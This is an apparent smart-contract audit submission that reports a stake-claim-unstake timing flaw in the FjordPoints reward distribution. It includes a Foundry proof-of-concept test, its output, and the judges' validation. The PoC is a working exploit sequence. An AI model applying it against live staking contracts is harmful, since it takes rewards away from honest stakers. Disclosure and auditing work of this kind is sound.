DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Exploitation of Point Distribution in `claimPoints` Function Allows Disproportionate/unfair Reward Accrual

Summary

The FjordPoints contract contains a vulnerability in the claimPoints function that allows users to accumulate a unfair amount of points when a user does staking and unstaking within the same epoch. This exploitation is possible when at least one epoch has passed since the last point distribution.

Vulnerability Details

Relavent code:
distributePoints
claimPoints

In FjordPoints, the distributePoints function is called via the checkDistribution modifier, which only distributes points if sufficient time has passed:

function distributePoints() public {
if (block.timestamp < lastDistribution + EPOCH_DURATION) {
return;
}
if (totalStaked == 0) {
return;
}
uint256 weeksPending = (block.timestamp - lastDistribution) / EPOCH_DURATION;
pointsPerToken =
pointsPerToken.add(weeksPending * (pointsPerEpoch.mul(PRECISION_18).div(totalStaked)));
totalPoints = totalPoints.add(pointsPerEpoch * weeksPending);
lastDistribution = lastDistribution + (weeksPending * 1 weeks);
emit PointsDistributed(pointsPerEpoch, pointsPerToken);
}

The claimPoints function in FjordPoints allows users to claim their pending points:

function claimPoints() external checkDistribution updatePendingPoints(msg.sender) {
UserInfo storage userInfo = users[msg.sender];
uint256 pointsToClaim = userInfo.pendingPoints;
if (pointsToClaim > 0) {
userInfo.pendingPoints = 0;
_mint(msg.sender, pointsToClaim);
emit PointsClaimed(msg.sender, pointsToClaim);
}
}

In FjordStaking, users can stake and unstake within the same epoch:

function stake(uint256 _amount) external checkEpochRollover redeemPendingRewards {
// ... staking logic
newStaked += _amount;
points.onStaked(msg.sender, _amount);
}
function unstake(uint16 _epoch, uint256 _amount) external checkEpochRollover redeemPendingRewards {
// ... unstaking logic
if (currentEpoch == _epoch) {
newStaked -= _amount;
}
points.onUnstaked(msg.sender, _amount);
}

The vulnerability arises because a user can:

  • Wait for a period just after an epoch boundary since lastDistribution.

  • Stake a large or any amount of tokens.

  • Trigger point distribution.

  • Claim points.

  • Unstake their tokens within the same epoch.

This allows the user to accrue points for the full epoch while only having tokens staked for a very short time.

POC

In existing test points.t.sol , add following test

function testExploitClaimPoints() public {
address honestUser1 = address(0x2);
address honestUser2 = address(0x3);
address attacker = address(0x4);
uint256 stakeAmount = 10000 ether;
uint256 points = fjordPoints.pointsPerEpoch();
console2.log("points alloted for epoch", points);
// Honest users stake at the beginning of the epoch
vm.startPrank(staking);
fjordPoints.onStaked(honestUser1, stakeAmount);
fjordPoints.onStaked(honestUser2, stakeAmount);
vm.stopPrank();
// Skip almost a week (leaving a small buffer)
skip(1 weeks - 1 minutes);
// Attacker stakes just before the epoch ends
vm.prank(staking);
fjordPoints.onStaked(attacker, stakeAmount);
// Skip to just after the epoch
skip(2 minutes);
// Distribute points
fjordPoints.distributePoints();
// All users claim points
vm.prank(honestUser1);
fjordPoints.claimPoints();
vm.prank(honestUser2);
fjordPoints.claimPoints();
vm.prank(attacker);
fjordPoints.claimPoints();
// Attacker unstakes immediately after claiming
vm.prank(staking);
fjordPoints.onUnstaked(attacker, stakeAmount);
// Check balances
uint256 honestUser1Points = fjordPoints.balanceOf(honestUser1);
uint256 honestUser2Points = fjordPoints.balanceOf(honestUser2);
uint256 attackerPoints = fjordPoints.balanceOf(attacker);
console.log("Honest User 1 Points:", honestUser1Points);
console.log("Honest User 2 Points:", honestUser2Points);
console.log("Attacker Points:", attackerPoints);
// Assert that all users got the same amount of points, despite the attacker only staking for a very short time
assert(attackerPoints == honestUser1Points && attackerPoints == honestUser2Points);
console.log("Exploitation successful: Attacker received the same points as honest users while staking for much less time");
}

Run the test in terminal forge test --mt testExploitClaimPoints -vv and following output will be shown:

[⠒] Compiling...
[⠒] Compiling 2 files with Solc 0.8.21
[⠑] Solc 0.8.21 finished in 1.49s
Logs:
points alloted for epoch 100000000000000000000
Honest User 1 Points: 33333333333333330000
Honest User 2 Points: 33333333333333330000
Attacker Points: 33333333333333330000
Exploitation successful: Attacker received the same points as honest users while staking for much less time
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.27ms (218.46µs CPU time)

Impact

  • Users can accumulate points disproportionate to their actual staking duration.

  • It undermines the incentive structure designed to reward long-term stakers.

  • It can lead to an unfair distribution of points, potentially devaluing the points for honest, long-term stakers.

  • If points have governance or other utility value, this could lead to centralization of power or economic advantages.

Tools Used

Manual Review, Foundry

Recommendations

Consider having minimum waiting period, before users can accrue / claim rewards.
Similar to fjordStaking contract implementation for claiming reward should be fine.

Updates

Lead Judging Commences

inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

If epoch end times of FjordStaking and FjordPoints are desynchronized, users will be able to exploit the desynchronization to stake>claim>unstake instantly, getting points they shouldn't

Impact: High - Users are getting an unreasonable amount of points through exploiting a vulnerability Likelihood: Low - Most of the times, when using the script, all deployment tx will get processed in the same block. But, there is a small chance for them to be processed in different blocks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.